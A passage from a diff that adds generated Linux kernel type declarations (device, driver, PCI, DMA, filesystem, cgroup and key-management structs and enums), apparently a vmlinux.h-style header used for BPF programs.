(*resume)(struct device *); + int (*num_vf)(struct device *); + int (*dma_configure)(struct device *); + void (*dma_cleanup)(struct device *); + const struct dev_pm_ops *pm; + const struct iommu_ops *iommu_ops; + bool need_parent_lock; +}; + +enum probe_type { + PROBE_DEFAULT_STRATEGY = 0, + PROBE_PREFER_ASYNCHRONOUS = 1, + PROBE_FORCE_SYNCHRONOUS = 2, +}; + +struct driver_private; + +struct device_driver { + const char *name; + const struct bus_type *bus; + struct module *owner; + const char *mod_name; + bool suppress_bind_attrs; + enum probe_type probe_type; + const struct of_device_id *of_match_table; + const struct acpi_device_id *acpi_match_table; + int (*probe)(struct device *); + void (*sync_state)(struct device *); + int (*remove)(struct device *); + void (*shutdown)(struct device *); + int (*suspend)(struct device *, pm_message_t); + int (*resume)(struct device *); + const struct attribute_group **groups; + const struct attribute_group **dev_groups; + const struct dev_pm_ops *pm; + void (*coredump)(struct device *); + struct driver_private *p; +}; + +enum iommu_cap { + IOMMU_CAP_CACHE_COHERENCY = 0, + IOMMU_CAP_NOEXEC = 1, + IOMMU_CAP_PRE_BOOT_PROTECTION = 2, + IOMMU_CAP_ENFORCE_CACHE_COHERENCY = 3, +}; + +enum iommu_dev_features { + IOMMU_DEV_FEAT_SVA = 0, + IOMMU_DEV_FEAT_IOPF = 1, +}; + +typedef unsigned int ioasid_t; + +struct iommu_domain; + +struct iommu_device; + +struct of_phandle_args; + +struct iommu_fault_event; + +struct iommu_page_response; + +struct iommu_domain_ops; + +struct iommu_ops { + bool (*capable)(struct device *, enum iommu_cap); + struct iommu_domain * (*domain_alloc)(unsigned int); + struct iommu_device * (*probe_device)(struct device *); + void (*release_device)(struct device *); + void (*probe_finalize)(struct device *); + void (*set_platform_dma_ops)(struct device *); + struct iommu_group * (*device_group)(struct device *); + void (*get_resv_regions)(struct device *, struct list_head *); + int (*of_xlate)(struct device *, struct of_phandle_args *); + bool (*is_attach_deferred)(struct device *); + int (*dev_enable_feat)(struct device *, enum iommu_dev_features); + int (*dev_disable_feat)(struct device *, enum iommu_dev_features); + int (*page_response)(struct device *, struct iommu_fault_event *, struct iommu_page_response *); + int (*def_domain_type)(struct device *); + void (*remove_dev_pasid)(struct device *, ioasid_t); + const struct iommu_domain_ops *default_domain_ops; + long unsigned int pgsize_bitmap; + struct module *owner; +}; + +enum bus_notifier_event { + BUS_NOTIFY_ADD_DEVICE = 0, + BUS_NOTIFY_DEL_DEVICE = 1, + BUS_NOTIFY_REMOVED_DEVICE = 2, + BUS_NOTIFY_BIND_DRIVER = 3, + BUS_NOTIFY_BOUND_DRIVER = 4, + BUS_NOTIFY_UNBIND_DRIVER = 5, + BUS_NOTIFY_UNBOUND_DRIVER = 6, + BUS_NOTIFY_DRIVER_NOT_BOUND = 7, +}; + +struct class { + const char *name; + const struct attribute_group **class_groups; + const struct attribute_group **dev_groups; + int (*dev_uevent)(const struct device *, struct kobj_uevent_env *); + char * (*devnode)(const struct device *, umode_t *); + void (*class_release)(const struct class *); + void (*dev_release)(struct device *); + int (*shutdown_pre)(struct device *); + const struct kobj_ns_type_operations *ns_type; + const void * (*namespace)(const struct device *); + void (*get_ownership)(const struct device *, kuid_t *, kgid_t *); + const struct dev_pm_ops *pm; +}; + +struct device_type { + const char *name; + const struct attribute_group **groups; + int (*uevent)(const struct device *, struct kobj_uevent_env *); + char * (*devnode)(const struct device *, umode_t *, kuid_t *, kgid_t *); + void (*release)(struct device *); + const struct dev_pm_ops *pm; +}; + +struct device_attribute { + struct attribute attr; + ssize_t (*show)(struct device *, struct device_attribute *, char *); + ssize_t (*store)(struct device *, struct device_attribute *, const char *, size_t); +}; + +struct device_dma_parameters { + unsigned int max_segment_size; + unsigned int min_align_mask; + long unsigned int segment_boundary_mask; +}; + +enum device_physical_location_panel { + DEVICE_PANEL_TOP = 0, + DEVICE_PANEL_BOTTOM = 1, + DEVICE_PANEL_LEFT = 2, + DEVICE_PANEL_RIGHT = 3, + DEVICE_PANEL_FRONT = 4, + DEVICE_PANEL_BACK = 5, + DEVICE_PANEL_UNKNOWN = 6, +}; + +enum device_physical_location_vertical_position { + DEVICE_VERT_POS_UPPER = 0, + DEVICE_VERT_POS_CENTER = 1, + DEVICE_VERT_POS_LOWER = 2, +}; + +enum device_physical_location_horizontal_position { + DEVICE_HORI_POS_LEFT = 0, + DEVICE_HORI_POS_CENTER = 1, + DEVICE_HORI_POS_RIGHT = 2, +}; + +struct device_physical_location { + enum device_physical_location_panel panel; + enum device_physical_location_vertical_position vertical_position; + enum device_physical_location_horizontal_position horizontal_position; + bool dock; + bool lid; +}; + +typedef u64 dma_addr_t; + +enum dma_data_direction { + DMA_BIDIRECTIONAL = 0, + DMA_TO_DEVICE = 1, + DMA_FROM_DEVICE = 2, + DMA_NONE = 3, +}; + +struct sg_table; + +struct scatterlist; + +struct dma_map_ops { + unsigned int flags; + void * (*alloc)(struct device *, size_t, dma_addr_t *, gfp_t, long unsigned int); + void (*free)(struct device *, size_t, void *, dma_addr_t, long unsigned int); + struct page * (*alloc_pages)(struct device *, size_t, dma_addr_t *, enum dma_data_direction, gfp_t); + void (*free_pages)(struct device *, size_t, struct page *, dma_addr_t, enum dma_data_direction); + struct sg_table * (*alloc_noncontiguous)(struct device *, size_t, enum dma_data_direction, gfp_t, long unsigned int); + void (*free_noncontiguous)(struct device *, size_t, struct sg_table *, enum dma_data_direction); + int (*mmap)(struct device *, struct vm_area_struct *, void *, dma_addr_t, size_t, long unsigned int); + int (*get_sgtable)(struct device *, struct sg_table *, void *, dma_addr_t, size_t, long unsigned int); + dma_addr_t (*map_page)(struct device *, struct page *, long unsigned int, size_t, enum dma_data_direction, long unsigned int); + void (*unmap_page)(struct device *, dma_addr_t, size_t, enum dma_data_direction, long unsigned int); + int (*map_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, long unsigned int); + void (*unmap_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, long unsigned int); + dma_addr_t (*map_resource)(struct device *, phys_addr_t, size_t, enum dma_data_direction, long unsigned int); + void (*unmap_resource)(struct device *, dma_addr_t, size_t, enum dma_data_direction, long unsigned int); + void (*sync_single_for_cpu)(struct device *, dma_addr_t, size_t, enum dma_data_direction); + void (*sync_single_for_device)(struct device *, dma_addr_t, size_t, enum dma_data_direction); + void (*sync_sg_for_cpu)(struct device *, struct scatterlist *, int, enum dma_data_direction); + void (*sync_sg_for_device)(struct device *, struct scatterlist *, int, enum dma_data_direction); + void (*cache_sync)(struct device *, void *, size_t, enum dma_data_direction); + int (*dma_supported)(struct device *, u64); + u64 (*get_required_mask)(struct device *); + size_t (*max_mapping_size)(struct device *); + size_t (*opt_mapping_size)(); + long unsigned int (*get_merge_boundary)(struct device *); +}; + +struct bus_dma_region { + phys_addr_t cpu_start; + dma_addr_t dma_start; + u64 size; + u64 offset; +}; + +struct fwnode_operations; + +struct fwnode_handle { + struct fwnode_handle *secondary; + const struct fwnode_operations *ops; + struct device *dev; + struct list_head suppliers; + struct list_head consumers; + u8 flags; +}; + +struct context_tracking { + atomic_t state; + long int dynticks_nesting; + long int dynticks_nmi_nesting; +}; + +typedef struct { + unsigned int __nmi_count; + unsigned int apic_timer_irqs; + unsigned int irq_spurious_count; + unsigned int icr_read_retry_count; + unsigned int kvm_posted_intr_ipis; + unsigned int kvm_posted_intr_wakeup_ipis; + unsigned int kvm_posted_intr_nested_ipis; + unsigned int x86_platform_ipis; + unsigned int apic_perf_irqs; + unsigned int apic_irq_work_irqs; + unsigned int irq_resched_count; + unsigned int irq_call_count; + unsigned int irq_tlb_count; + unsigned int irq_thermal_count; + unsigned int irq_threshold_count; + unsigned int irq_deferred_error_count; +} irq_cpustat_t; + +enum dev_dma_attr { + DEV_DMA_NOT_SUPPORTED = 0, + DEV_DMA_NON_COHERENT = 1, + DEV_DMA_COHERENT = 2, +}; + +struct fwnode_reference_args; + +struct fwnode_endpoint; + +struct fwnode_operations { + struct fwnode_handle * (*get)(struct fwnode_handle *); + void (*put)(struct fwnode_handle *); + bool (*device_is_available)(const struct fwnode_handle *); + const void * (*device_get_match_data)(const struct fwnode_handle *, const struct device *); + bool (*device_dma_supported)(const struct fwnode_handle *); + enum dev_dma_attr (*device_get_dma_attr)(const struct fwnode_handle *); + bool (*property_present)(const struct fwnode_handle *, const char *); + int (*property_read_int_array)(const struct fwnode_handle *, const char *, unsigned int, void *, size_t); + int (*property_read_string_array)(const struct fwnode_handle *, const char *, const char **, size_t); + const char * (*get_name)(const struct fwnode_handle *); + const char * (*get_name_prefix)(const struct fwnode_handle *); + struct fwnode_handle * (*get_parent)(const struct fwnode_handle *); + struct fwnode_handle * (*get_next_child_node)(const struct fwnode_handle *, struct fwnode_handle *); + struct fwnode_handle * (*get_named_child_node)(const struct fwnode_handle *, const char *); + int (*get_reference_args)(const struct fwnode_handle *, const char *, const char *, unsigned int, unsigned int, struct fwnode_reference_args *); + struct fwnode_handle * (*graph_get_next_endpoint)(const struct fwnode_handle *, struct fwnode_handle *); + struct fwnode_handle * (*graph_get_remote_endpoint)(const struct fwnode_handle *); + struct fwnode_handle * (*graph_get_port_parent)(struct fwnode_handle *); + int (*graph_parse_endpoint)(const struct fwnode_handle *, struct fwnode_endpoint *); + void * (*iomap)(struct fwnode_handle *, int); + int (*irq_get)(const struct fwnode_handle *, unsigned int); + int (*add_links)(struct fwnode_handle *); +}; + +struct fwnode_endpoint { + unsigned int port; + unsigned int id; + const struct fwnode_handle *local_fwnode; +}; + +struct fwnode_reference_args { + struct fwnode_handle *fwnode; + unsigned int nargs; + u64 args[8]; +}; + +struct pci_bus; + +struct hotplug_slot; + +struct pci_slot { + struct pci_bus *bus; + struct list_head list; + struct hotplug_slot *hotplug; + unsigned char number; + struct kobject kobj; +}; + +typedef short unsigned int pci_bus_flags_t; + +struct pci_dev; + +struct pci_ops; + +struct proc_dir_entry; + +struct pci_bus { + struct list_head node; + struct pci_bus *parent; + struct list_head children; + struct list_head devices; + struct pci_dev *self; + struct list_head slots; + struct resource *resource[4]; + struct list_head resources; + struct resource busn_res; + struct pci_ops *ops; + void *sysdata; + struct proc_dir_entry *procdir; + unsigned char number; + unsigned char primary; + unsigned char max_bus_speed; + unsigned char cur_bus_speed; + char name[48]; + short unsigned int bridge_ctl; + pci_bus_flags_t bus_flags; + struct device *bridge; + struct device dev; + struct bin_attribute *legacy_io; + struct bin_attribute *legacy_mem; + unsigned int is_added: 1; + unsigned int unsafe_warn: 1; +}; + +typedef int pci_power_t; + +typedef unsigned int pci_channel_state_t; + +typedef short unsigned int pci_dev_flags_t; + +struct pci_vpd { + struct mutex lock; + unsigned int len; + u8 cap; +}; + +struct rcec_ea; + +struct pci_driver; + +struct pcie_link_state; + +struct pci_sriov; + +struct pci_dev { + struct list_head bus_list; + struct pci_bus *bus; + struct pci_bus *subordinate; + void *sysdata; + struct proc_dir_entry *procent; + struct pci_slot *slot; + unsigned int devfn; + short unsigned int vendor; + short unsigned int device; + short unsigned int subsystem_vendor; + short unsigned int subsystem_device; + unsigned int class; + u8 revision; + u8 hdr_type; + struct rcec_ea *rcec_ea; + struct pci_dev *rcec; + u32 devcap; + u8 pcie_cap; + u8 msi_cap; + u8 msix_cap; + u8 pcie_mpss: 3; + u8 rom_base_reg; + u8 pin; + u16 pcie_flags_reg; + long unsigned int *dma_alias_mask; + struct pci_driver *driver; + u64 dma_mask; + struct device_dma_parameters dma_parms; + pci_power_t current_state; + unsigned int imm_ready: 1; + u8 pm_cap; + unsigned int pme_support: 5; + unsigned int pme_poll: 1; + unsigned int d1_support: 1; + unsigned int d2_support: 1; + unsigned int no_d1d2: 1; + unsigned int no_d3cold: 1; + unsigned int bridge_d3: 1; + unsigned int d3cold_allowed: 1; + unsigned int mmio_always_on: 1; + unsigned int wakeup_prepared: 1; + unsigned int skip_bus_pm: 1; + unsigned int ignore_hotplug: 1; + unsigned int hotplug_user_indicators: 1; + unsigned int clear_retrain_link: 1; + unsigned int d3hot_delay; + unsigned int d3cold_delay; + struct pcie_link_state *link_state; + unsigned int ltr_path: 1; + u16 l1ss; + unsigned int pasid_no_tlp: 1; + unsigned int eetlp_prefix_path: 1; + pci_channel_state_t error_state; + struct device dev; + int cfg_size; + unsigned int irq; + struct resource resource[17]; + struct resource driver_exclusive_resource; + bool match_driver; + unsigned int transparent: 1; + unsigned int io_window: 1; + unsigned int pref_window: 1; + unsigned int pref_64_window: 1; + unsigned int multifunction: 1; + unsigned int is_busmaster: 1; + unsigned int no_msi: 1; + unsigned int no_64bit_msi: 1; + unsigned int block_cfg_access: 1; + unsigned int broken_parity_status: 1; + unsigned int irq_reroute_variant: 2; + unsigned int msi_enabled: 1; + unsigned int msix_enabled: 1; + unsigned int ari_enabled: 1; + unsigned int ats_enabled: 1; + unsigned int pasid_enabled: 1; + unsigned int pri_enabled: 1; + unsigned int is_managed: 1; + unsigned int is_msi_managed: 1; + unsigned int needs_freset: 1; + unsigned int state_saved: 1; + unsigned int is_physfn: 1; + unsigned int is_virtfn: 1; + unsigned int is_hotplug_bridge: 1; + unsigned int shpc_managed: 1; + unsigned int is_thunderbolt: 1; + unsigned int untrusted: 1; + unsigned int external_facing: 1; + unsigned int broken_intx_masking: 1; + unsigned int io_window_1k: 1; + unsigned int irq_managed: 1; + unsigned int non_compliant_bars: 1; + unsigned int is_probed: 1; + unsigned int link_active_reporting: 1; + unsigned int no_vf_scan: 1; + unsigned int no_command_memory: 1; + unsigned int rom_bar_overlap: 1; + pci_dev_flags_t dev_flags; + atomic_t enable_cnt; + u32 saved_config_space[16]; + struct hlist_head saved_cap_space; + int rom_attr_enabled; + struct bin_attribute *res_attr[17]; + struct bin_attribute *res_attr_wc[17]; + void *msix_base; + raw_spinlock_t msi_lock; + struct pci_vpd vpd; + union { + struct pci_sriov *sriov; + struct pci_dev *physfn; + }; + u16 ats_cap; + u8 ats_stu; + u16 acs_cap; + phys_addr_t rom; + size_t romlen; + const char *driver_override; + long unsigned int priv_flags; + u8 reset_methods[7]; +}; + +struct pci_dynids { + spinlock_t lock; + struct list_head list; +}; + +struct pci_error_handlers; + +struct pci_driver { + struct list_head node; + const char *name; + const struct pci_device_id *id_table; + int (*probe)(struct pci_dev *, const struct pci_device_id *); + void (*remove)(struct pci_dev *); + int (*suspend)(struct pci_dev *, pm_message_t); + int (*resume)(struct pci_dev *); + void (*shutdown)(struct pci_dev *); + int (*sriov_configure)(struct pci_dev *, int); + int (*sriov_set_msix_vec_count)(struct pci_dev *, int); + u32 (*sriov_get_vf_total_msix)(struct pci_dev *); + const struct pci_error_handlers *err_handler; + const struct attribute_group **groups; + const struct attribute_group **dev_groups; + struct device_driver driver; + struct pci_dynids dynids; + bool driver_managed_dma; +}; + +struct pci_ops { + int (*add_bus)(struct pci_bus *); + void (*remove_bus)(struct pci_bus *); + void * (*map_bus)(struct pci_bus *, unsigned int, int); + int (*read)(struct pci_bus *, unsigned int, int, int, u32 *); + int (*write)(struct pci_bus *, unsigned int, int, int, u32); +}; + +typedef unsigned int pci_ers_result_t; + +struct pci_error_handlers { + pci_ers_result_t (*error_detected)(struct pci_dev *, pci_channel_state_t); + pci_ers_result_t (*mmio_enabled)(struct pci_dev *); + pci_ers_result_t (*slot_reset)(struct pci_dev *); + void (*reset_prepare)(struct pci_dev *); + void (*reset_done)(struct pci_dev *); + void (*resume)(struct pci_dev *); + void (*cor_error_detected)(struct pci_dev *); +}; + +enum pcie_bus_config_types { + PCIE_BUS_TUNE_OFF = 0, + PCIE_BUS_DEFAULT = 1, + PCIE_BUS_SAFE = 2, + PCIE_BUS_PERFORMANCE = 3, + PCIE_BUS_PEER2PEER = 4, +}; + +struct shrink_control { + gfp_t gfp_mask; + int nid; + long unsigned int nr_to_scan; + long unsigned int nr_scanned; + struct mem_cgroup *memcg; +}; + +struct shrinker { + long unsigned int (*count_objects)(struct shrinker *, struct shrink_control *); + long unsigned int (*scan_objects)(struct shrinker *, struct shrink_control *); + long int batch; + int seeks; + unsigned int flags; + struct list_head list; + int id; + atomic_long_t *nr_deferred; +}; + +struct dev_pagemap_ops { + void (*page_free)(struct page *); + vm_fault_t (*migrate_to_ram)(struct vm_fault *); + int (*memory_failure)(struct dev_pagemap *, long unsigned int, long unsigned int, int); +}; + +struct hlist_bl_node; + +struct hlist_bl_head { + struct hlist_bl_node *first; +}; + +struct hlist_bl_node { + struct hlist_bl_node *next; + struct hlist_bl_node **pprev; +}; + +struct lockref { + union { + struct { + spinlock_t lock; + int count; + }; + }; +}; + +struct qstr { + union { + struct { + u32 hash; + u32 len; + }; + u64 hash_len; + }; + const unsigned char *name; +}; + +struct dentry_operations; + +struct dentry { + unsigned int d_flags; + seqcount_spinlock_t d_seq; + struct hlist_bl_node d_hash; + struct dentry *d_parent; + struct qstr d_name; + struct inode *d_inode; + unsigned char d_iname[32]; + struct lockref d_lockref; + const struct dentry_operations *d_op; + struct super_block *d_sb; + long unsigned int d_time; + void *d_fsdata; + union { + struct list_head d_lru; + wait_queue_head_t *d_wait; + }; + struct list_head d_child; + struct list_head d_subdirs; + union { + struct hlist_node d_alias; + struct hlist_bl_node d_in_lookup_hash; + struct callback_head d_rcu; + } d_u; +}; + +struct posix_acl; + +struct inode_operations; + +struct bdi_writeback; + +struct file_lock_context; + +struct cdev; + +struct fsnotify_mark_connector; + +struct inode { + umode_t i_mode; + short unsigned int i_opflags; + kuid_t i_uid; + kgid_t i_gid; + unsigned int i_flags; + struct posix_acl *i_acl; + struct posix_acl *i_default_acl; + const struct inode_operations *i_op; + struct super_block *i_sb; + struct address_space *i_mapping; + void *i_security; + long unsigned int i_ino; + union { + const unsigned int i_nlink; + unsigned int __i_nlink; + }; + dev_t i_rdev; + loff_t i_size; + struct timespec64 i_atime; + struct timespec64 i_mtime; + struct timespec64 i_ctime; + spinlock_t i_lock; + short unsigned int i_bytes; + u8 i_blkbits; + u8 i_write_hint; + blkcnt_t i_blocks; + long unsigned int i_state; + struct rw_semaphore i_rwsem; + long unsigned int dirtied_when; + long unsigned int dirtied_time_when; + struct hlist_node i_hash; + struct list_head i_io_list; + struct bdi_writeback *i_wb; + int i_wb_frn_winner; + u16 i_wb_frn_avg_time; + u16 i_wb_frn_history; + struct list_head i_lru; + struct list_head i_sb_list; + struct list_head i_wb_list; + union { + struct hlist_head i_dentry; + struct callback_head i_rcu; + }; + atomic64_t i_version; + atomic64_t i_sequence; + atomic_t i_count; + atomic_t i_dio_count; + atomic_t i_writecount; + atomic_t i_readcount; + union { + const struct file_operations *i_fop; + void (*free_inode)(struct inode *); + }; + struct file_lock_context *i_flctx; + struct address_space i_data; + struct list_head i_devices; + union { + struct pipe_inode_info *i_pipe; + struct cdev *i_cdev; + char *i_link; + unsigned int i_dir_seq; + }; + __u32 i_generation; + __u32 i_fsnotify_mask; + struct fsnotify_mark_connector *i_fsnotify_marks; + void *i_private; +}; + +struct dentry_operations { + int (*d_revalidate)(struct dentry *, unsigned int); + int (*d_weak_revalidate)(struct dentry *, unsigned int); + int (*d_hash)(const struct dentry *, struct qstr *); + int (*d_compare)(const struct dentry *, unsigned int, const char *, const struct qstr *); + int (*d_delete)(const struct dentry *); + int (*d_init)(struct dentry *); + void (*d_release)(struct dentry *); + void (*d_prune)(struct dentry *); + void (*d_iput)(struct dentry *, struct inode *); + char * (*d_dname)(struct dentry *, char *, int); + struct vfsmount * (*d_automount)(struct path *); + int (*d_manage)(const struct path *, bool); + struct dentry * (*d_real)(struct dentry *, const struct inode *); + long: 64; + long: 64; + long: 64; +}; + +struct mtd_info; + +typedef long long int qsize_t; + +struct quota_format_type; + +struct mem_dqinfo { + struct quota_format_type *dqi_format; + int dqi_fmt_id; + struct list_head dqi_dirty_list; + long unsigned int dqi_flags; + unsigned int dqi_bgrace; + unsigned int dqi_igrace; + qsize_t dqi_max_spc_limit; + qsize_t dqi_max_ino_limit; + void *dqi_priv; +}; + +struct quota_format_ops; + +struct quota_info { + unsigned int flags; + struct rw_semaphore dqio_sem; + struct inode *files[3]; + struct mem_dqinfo info[3]; + const struct quota_format_ops *ops[3]; +}; + +struct rcu_sync { + int gp_state; + int gp_count; + wait_queue_head_t gp_wait; + struct callback_head cb_head; +}; + +struct percpu_rw_semaphore { + struct rcu_sync rss; + unsigned int *read_count; + struct rcuwait writer; + wait_queue_head_t waiters; + atomic_t block; + struct lockdep_map dep_map; +}; + +struct sb_writers { + int frozen; + wait_queue_head_t wait_unfrozen; + struct percpu_rw_semaphore rw_sem[3]; +}; + +struct super_operations; + +struct dquot_operations; + +struct quotactl_ops; + +struct export_operations; + +struct xattr_handler; + +struct block_device; + +struct super_block { + struct list_head s_list; + dev_t s_dev; + unsigned char s_blocksize_bits; + long unsigned int s_blocksize; + loff_t s_maxbytes; + struct file_system_type *s_type; + const struct super_operations *s_op; + const struct dquot_operations *dq_op; + const struct quotactl_ops *s_qcop; + const struct export_operations *s_export_op; + long unsigned int s_flags; + long unsigned int s_iflags; + long unsigned int s_magic; + struct dentry *s_root; + struct rw_semaphore s_umount; + int s_count; + atomic_t s_active; + void *s_security; + const struct xattr_handler **s_xattr; + struct hlist_bl_head s_roots; + struct list_head s_mounts; + struct block_device *s_bdev; + struct backing_dev_info *s_bdi; + struct mtd_info *s_mtd; + struct hlist_node s_instances; + unsigned int s_quota_types; + struct quota_info s_dquot; + struct sb_writers s_writers; + void *s_fs_info; + u32 s_time_gran; + time64_t s_time_min; + time64_t s_time_max; + __u32 s_fsnotify_mask; + struct fsnotify_mark_connector *s_fsnotify_marks; + char s_id[32]; + uuid_t s_uuid; + unsigned int s_max_links; + fmode_t s_mode; + struct mutex s_vfs_rename_mutex; + const char *s_subtype; + const struct dentry_operations *s_d_op; + struct shrinker s_shrink; + atomic_long_t s_remove_count; + atomic_long_t s_fsnotify_connectors; + int s_readonly_remount; + errseq_t s_wb_err; + struct workqueue_struct *s_dio_done_wq; + struct hlist_head s_pins; + struct user_namespace *s_user_ns; + struct list_lru s_dentry_lru; + struct list_lru s_inode_lru; + struct callback_head rcu; + struct work_struct destroy_work; + struct mutex s_sync_lock; + int s_stack_depth; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t s_inode_list_lock; + struct list_head s_inodes; + spinlock_t s_inode_wblist_lock; + struct list_head s_inodes_wb; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct mnt_idmap; + +struct vfsmount { + struct dentry *mnt_root; + struct super_block *mnt_sb; + int mnt_flags; + struct mnt_idmap *mnt_idmap; +}; + +struct list_lru_one { + struct list_head list; + long int nr_items; +}; + +struct list_lru_node { + spinlock_t lock; + struct list_lru_one lru; + long int nr_items; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum migrate_mode { + MIGRATE_ASYNC = 0, + MIGRATE_SYNC_LIGHT = 1, + MIGRATE_SYNC = 2, + MIGRATE_SYNC_NO_COPY = 3, +}; + +struct tlb_context { + u64 ctx_id; + u64 tlb_gen; +}; + +struct tlb_state { + struct mm_struct *loaded_mm; + union { + struct mm_struct *last_user_mm; + long unsigned int last_user_mm_spec; + }; + u16 loaded_mm_asid; + u16 next_asid; + bool invalidate_other; + short unsigned int user_pcid_flush_mask; + long unsigned int cr4; + struct tlb_context ctxs[6]; +}; + +struct tlb_state_shared { + bool is_lazy; +}; + +struct movsl_mask { + int mask; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct cgroup_subsys; + +struct cgroup_subsys_state { + struct cgroup *cgroup; + struct cgroup_subsys *ss; + struct percpu_ref refcnt; + struct list_head sibling; + struct list_head children; + struct list_head rstat_css_node; + int id; + unsigned int flags; + u64 serial_nr; + atomic_t online_cnt; + struct work_struct destroy_work; + struct rcu_work destroy_rwork; + struct cgroup_subsys_state *parent; +}; + +struct cgroup_file { + struct kernfs_node *kn; + long unsigned int notified_at; + struct timer_list notify_timer; +}; + +struct cgroup_base_stat { + struct task_cputime cputime; +}; + +struct bpf_prog_array; + +struct cgroup_bpf { + struct bpf_prog_array *effective[33]; + struct hlist_head progs[33]; + u8 flags[33]; + struct list_head storages; + struct bpf_prog_array *inactive; + struct percpu_ref refcnt; + struct work_struct release_work; +}; + +struct cgroup_freezer_state { + bool freeze; + int e_freeze; + int nr_frozen_descendants; + int nr_frozen_tasks; +}; + +struct cgroup_root; + +struct cgroup_rstat_cpu; + +struct psi_group; + +struct cgroup { + struct cgroup_subsys_state self; + long unsigned int flags; + int level; + int max_depth; + int nr_descendants; + int nr_dying_descendants; + int max_descendants; + int nr_populated_csets; + int nr_populated_domain_children; + int nr_populated_threaded_children; + int nr_threaded_children; + struct kernfs_node *kn; + struct cgroup_file procs_file; + struct cgroup_file events_file; + struct cgroup_file psi_files[0]; + u16 subtree_control; + u16 subtree_ss_mask; + u16 old_subtree_control; + u16 old_subtree_ss_mask; + struct cgroup_subsys_state *subsys[10]; + struct cgroup_root *root; + struct list_head cset_links; + struct list_head e_csets[10]; + struct cgroup *dom_cgrp; + struct cgroup *old_dom_cgrp; + struct cgroup_rstat_cpu *rstat_cpu; + struct list_head rstat_css_list; + struct cgroup_base_stat last_bstat; + struct cgroup_base_stat bstat; + struct prev_cputime prev_cputime; + struct list_head pidlists; + struct mutex pidlist_mutex; + wait_queue_head_t offline_waitq; + struct work_struct release_agent_work; + struct psi_group *psi; + struct cgroup_bpf bpf; + atomic_t congestion_count; + struct cgroup_freezer_state freezer; + struct bpf_local_storage *bpf_cgrp_storage; + struct cgroup *ancestors[0]; +}; + +struct key_tag { + struct callback_head rcu; + refcount_t usage; + bool removed; +}; + +typedef int (*request_key_actor_t)(struct key *, void *); + +struct key_preparsed_payload; + +struct key_match_data; + +struct kernel_pkey_params; + +struct kernel_pkey_query; + +struct key_type { + const char *name; + size_t def_datalen; + unsigned int flags; + int (*vet_description)(const char *); + int (*preparse)(struct key_preparsed_payload *); + void (*free_preparse)(struct key_preparsed_payload *); + int (*instantiate)(struct key *, struct key_preparsed_payload *); + int (*update)(struct key *, struct key_preparsed_payload *); + int (*match_preparse)(struct key_match_data *); + void (*match_free)(struct key_match_data *); + void (*revoke)(struct key *); + void (*destroy)(struct key *); + void (*describe)(const struct key *, struct seq_file *); + long int (*read)(const struct key *, char *, size_t); + request_key_actor_t request_key; + struct key_restriction * (*lookup_restriction)(const char *); + int (*asym_query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); + int (*asym_eds_op)(struct kernel_pkey_params *, const void *, void *); + int (*asym_verify_signature)(struct kernel_pkey_params *, const void *, const void *); + struct list_head link; + struct lock_class_key lock_class; +}; + +typedef int (*key_restrict_link_func_t)(struct key *, const struct key_type *, const union key_payload *, struct key *); + +struct key_restriction { + key_restrict_link_func_t check; + struct key *key; + struct key_type *keytype; +}; + +struct user_struct { + refcount_t __count; + struct percpu_counter epoll_watches; + long unsigned int unix_inflight; + atomic_long_t pipe_bufs; + struct hlist_node uidhash_node; + kuid_t uid; + atomic_long_t locked_vm; + struct ratelimit_state ratelimit; +}; + +struct group_info { + atomic_t usage; + int ngroups; + kgid_t gid[0]; +}; + +struct core_thread { + struct task_struct *task; + struct core_thread *next; +}; + +struct core_state { + atomic_t nr_threads; + struct core_thread dumper; + struct completion startup; +}; + +struct taskstats { + __u16 version; + __u32 ac_exitcode; + __u8 ac_flag; + __u8 ac_nice; + __u64 cpu_count; + __u64 cpu_delay_total; + __u64 blkio_count; + __u64 blkio_delay_total; + __u64 swapin_count; + __u64 swapin_delay_total; + __u64 cpu_run_real_total; + __u64 cpu_run_virtual_total; + char ac_comm[32]; + __u8 ac_sched; + __u8 ac_pad[3]; + long: 0; + __u32 ac_uid; + __u32 ac_gid; + __u32 ac_pid; + __u32 ac_ppid; + __u32 ac_btime; + __u64 ac_etime; + __u64 ac_utime; + __u64 ac_stime; + __u64 ac_minflt; + __u64 ac_majflt; + __u64 coremem; + __u64 virtmem; + __u64 hiwater_rss; + __u64 hiwater_vm; + __u64 read_char; + __u64 write_char; + __u64 read_syscalls; + __u64 write_syscalls; + __u64 read_bytes; + __u64 write_bytes; + __u64 cancelled_write_bytes; + __u64 nvcsw; + __u64 nivcsw; + __u64 ac_utimescaled; + __u64 ac_stimescaled; + __u64 cpu_scaled_run_real_total; + __u64 freepages_count; + __u64 freepages_delay_total; + __u64 thrashing_count; + __u64 thrashing_delay_total; + __u64 ac_btime64; + __u64 compact_count; + __u64 compact_delay_total; + __u32 ac_tgid; + __u64 ac_tgetime; + __u64 ac_exe_dev; + __u64 ac_exe_inode; + __u64 wpcopy_count; + __u64 wpcopy_delay_total; + __u64 irq_count; + __u64 irq_delay_total; +}; + +struct delayed_call { + void (*fn)(void *); + void *arg; +}; + +typedef struct { + uid_t val; +} vfsuid_t; + +typedef struct { + gid_t val; +} vfsgid_t; + +struct wait_page_queue; + +struct kiocb { + struct file *ki_filp; + loff_t ki_pos; + void (*ki_complete)(struct kiocb *, long int); + void *private; + int ki_flags; + u16 ki_ioprio; + struct wait_page_queue *ki_waitq; +}; + +struct iattr { + unsigned int ia_valid; + umode_t ia_mode; + union { + kuid_t ia_uid; + vfsuid_t ia_vfsuid; + }; + union { + kgid_t ia_gid; + vfsgid_t ia_vfsgid; + }; + loff_t ia_size; + struct timespec64 ia_atime; + struct timespec64 ia_mtime; + struct timespec64 ia_ctime; + struct file *ia_file; +}; + +typedef __kernel_uid32_t projid_t; + +typedef struct { + projid_t val; +} kprojid_t; + +enum quota_type { + USRQUOTA = 0, + GRPQUOTA = 1, + PRJQUOTA = 2, +}; + +struct kqid { + union { + kuid_t uid; + kgid_t gid; + kprojid_t projid; + }; + enum quota_type type; +}; + +struct mem_dqblk { + qsize_t dqb_bhardlimit; + qsize_t dqb_bsoftlimit; + qsize_t dqb_curspace; + qsize_t dqb_rsvspace; + qsize_t dqb_ihardlimit; + 